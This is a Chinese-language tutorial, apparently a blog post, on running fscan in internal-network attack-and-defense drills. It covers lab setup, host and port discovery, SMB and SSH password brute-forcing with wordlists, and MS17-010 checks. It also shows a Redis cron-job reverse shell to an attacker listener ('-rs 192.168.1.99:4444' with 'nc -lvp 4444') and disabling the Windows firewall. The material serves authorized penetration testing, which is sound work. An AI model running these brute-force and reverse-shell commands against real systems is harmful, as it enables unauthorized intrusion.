1. 为什么选择fscan做内网攻防演练
第一次接触fscan是在一次企业内网渗透测试项目中。当时客户给了一个C段IP范围,要求在24小时内完成基础安全评估。手动一个个测试显然不现实,试了几个工具后,发现fscan只需要一条命令就能完成存活主机探测、端口扫描、漏洞检测全套流程,最终生成的报告直接标出了存在MS17010漏洞的主机,帮我们节省了至少8小时工作量。
fscan之所以能成为内网扫描的瑞士军刀,主要靠三个杀手锏:全自动化流水线、多协议支持和模块化设计。比如它扫描192.168.1.0/24网段时,会先发ICMP包确认存活主机,接着用SYN扫描TOP1000端口,发现445端口就自动检测MS17010,遇到Redis服务尝试写公钥,整个过程像工厂流水线一样自动衔接。我对比过同类工具,要实现同样效果至少需要组合3-4个工具外加写脚本联动。
2. 搭建内网演练环境
2.1 准备靶机环境
真实的攻防演练需要模拟企业内网环境,建议用VirtualBox搭建三台虚拟机:
- 域控制器(Windows Server 2016):跑AD域服务+文件共享
- 业务服务器(CentOS 7):部署Weblogic和Redis
- 办公电脑(Windows 10):开SMB共享和远程桌面
这里有个坑要注意:Windows靶机一定要关闭防火墙,否则扫描结果会漏报。我常用这条命令批量处理:
netsh advfirewall set allprofiles state off2.2 安装fscan实战版
官方仓库的release版本可能缺少最新POC,推荐用源码编译:
git clone https://github.com/shadow1ng/fscan cd fscan go build -ldflags="-s -w" -trimpath编译好的二进制文件只有5MB左右,可以方便地传到跳板机上。如果遇到go mod报错,试试go mod tidy同步依赖。
3. 分阶段扫描实战
3.1 第一阶段:快速测绘
先用基础扫描摸清网络拓扑,这条命令跳过了耗时web扫描:
./fscan -h 192.168.1.1/24 -np -no -nopoc参数解读:
-np跳过ICMP存活检测(直接扫所有IP)-no不保存结果文件-nopoc禁用web漏洞检测
上周给某客户做演练时,这个组合帮我在10分钟内扫完B段65536个IP,快速定位到运维部门的测试服务器群。
3.2 第二阶段:精准打击
针对发现的开放服务,上专项检测模块。比如发现445端口:
./fscan -h 192.168.1.10-50 -m smb -pwd P@ssw0rd或者检测Weblogic反序列化漏洞:
./fscan -h 192.168.1.100 -p 7001 -m weblogic实战技巧:遇到需要爆破的服务,建议用-userf和-pwdf加载字典文件。我整理过一份企业常用弱口令TOP500,命中率比默认字典高30%:
./fscan -h 192.168.1.100 -m ssh -userf users.txt -pwdf passwords.txt4. 漏洞验证与利用
4.1 MS17010漏洞验证
当扫描报告显示MS17010漏洞时,需要二次确认避免误报:
./fscan -h 192.168.1.15 -m ms17010 -debug加-debug参数会显示详细检测过程,真实漏洞会返回"target is vulnerable"。
4.2 Redis写shell实战
发现未授权Redis时,用内置模块写定时任务反弹shell:
./fscan -h 192.168.1.20 -rs 192.168.1.99:4444提前在攻击机启动监听:
nc -lvp 44445. 报告生成技巧
fscan默认保存JSON格式结果,我通常用jq工具提取关键信息:
cat result.txt | jq '.vulns[] | select(.risk=="high")'输出高危漏洞列表后,再用Excel制作风险矩阵图。给管理层看的报告要聚焦三点:风险等级、影响范围和修复建议。
最后提醒几个注意事项:
- 企业内扫描一定要先获得书面授权
- 爆破操作可能触发安全设备告警
- 生产环境建议加
-t 100降低并发量 - 遇到蜜罐系统立即停止扫描